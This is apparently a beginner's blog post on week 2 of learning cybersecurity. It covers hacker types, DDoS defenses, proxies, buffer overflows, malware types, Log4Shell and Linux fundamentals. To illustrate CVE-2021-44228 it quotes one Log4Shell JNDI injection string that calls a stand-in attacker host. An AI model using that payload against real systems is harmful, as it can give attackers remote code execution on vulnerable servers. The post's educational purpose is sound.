# My Cybersecurity Journey – Week 2: From Hacker Types to Linux Foundations

Cybersecurity isn't just about "hacking" — it's about understanding how systems break, how they can be defended, and how even a small piece of code can bring the digital world to its knees.

This week (Week 2 of my journey), I dove deeper into attacks, defenses, real-world vulnerabilities, and Linux — the backbone of cybersecurity.

🕵️ Hacker Mindset: Who's Out There?

When we hear the word "hacker," many imagine a hooded figure in a dark room. But in reality, hackers come in different flavors:

• White Hats 🕊️ → Ethical hackers who strengthen security

• Black Hats 🕶️ → Malicious attackers who exploit weaknesses for profit

• Grey Hats ⚖️ → A mix — not entirely ethical, not purely malicious

• Script Kiddies 💻 → Beginners using pre-made tools without deep knowledge

• Hacktivists ✊ → Driven by political or social motives (e.g., Anonymous)

👉 A mentor taught me a golden formula: Vulnerability → Exploit → Payload → Impact. If you can trace this flow, you can understand almost any hack in the world.

⚔️ Attacks vs Defenses: The Constant Battle

Cybersecurity feels like a chess game — attackers move, defenders counter. Some key concepts I learned this week:

DDoS (Distributed Denial of Service): Imagine millions of fake visitors storming into a shop at once — the real customers can't enter. That's how attackers crash websites.

Defense strategies: Load balancers, CDNs (like Cloudflare), WAF, and rate limiting.

Proxy vs Reverse Proxy:

• Proxy hides the client

• Reverse proxy hides the server (A surprisingly common interview question!)

Buffer Overflow: A bug where writing "too much data" spills into memory it shouldn't touch. Historically exploited in the Morris Worm (1988) — one of the first internet worms.

Malware Types:

• Virus (needs execution to spread)

• Worm (self-replicates)

• Ransomware (encrypts your files and demands money 💸)

Key Lesson: Every attack has a defense, but defenses evolve after the attacks happen. It's a continuous cat-and-mouse game.

🌍 Log4j: When Logging Became a Nuclear Bomb

One of the most eye-opening parts of this week was learning about Log4Shell (CVE-2021-44228).

• A single line of malicious input in a log (${jndi:ldap://attacker.com/a}) could give Remote Code Execution (RCE)

• It affected everything from Minecraft servers to enterprise applications worldwide

• Within days, ransomware groups and even state-backed hackers weaponized it

👉 Lesson: Sometimes, the smallest components (like logging libraries) can cause the biggest disasters.

🐧 Linux: The Hacker's Playground

If the internet had a heartbeat, it would be Linux.

This week, I dove into Linux vs Unix, its architecture, and why every cybersecurity professional must understand it:

Key Concepts:

• Root (/) vs Home (/home/user) → Root is the system's foundation; Home is the user's personal space

• Case Sensitivity: Test.txt ≠ test.txt (Windows users often trip here!)

• Shell vs Terminal:

  • Terminal = the application interface

  • Shell = the program running inside it (Bash, Zsh, etc.)

Popular Linux Distributions:

• Servers → Ubuntu, RHEL

• Beginners → Ubuntu, Linux Mint

• Cybersecurity → Kali Linux, Parrot OS

Linux powers everything — from Android phones to supercomputers, routers, smart TVs, and even rockets at NASA & SpaceX.

👉 Realization: Mastering Linux is like learning the hacker's universal language.

💡 My Key Reflections This Week

1. Cybersecurity is mindset-first. Thinking in terms of "Vulnerability → Exploit → Payload → Impact" helps analyze any attack

2. Defenses are reactive. Most security tools (WAFs, firewalls, CDNs) exist because attacks happened first

3. Linux is fundamental. To defend or test systems, you must understand the infrastructure powering the world

4. Real-world exploits like Log4j remind us that no system is 100% safe — constant vigilance is essential

📌 What's Next

In Week 3, I'll start with hands-on Linux commands and practical exercises — the first step toward becoming truly comfortable in the cybersecurity environment.

If you're also on a cybersecurity journey, follow along — let's learn together! 🔐✨

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What aspects of cybersecurity interest you most? Share your thoughts in the comments below!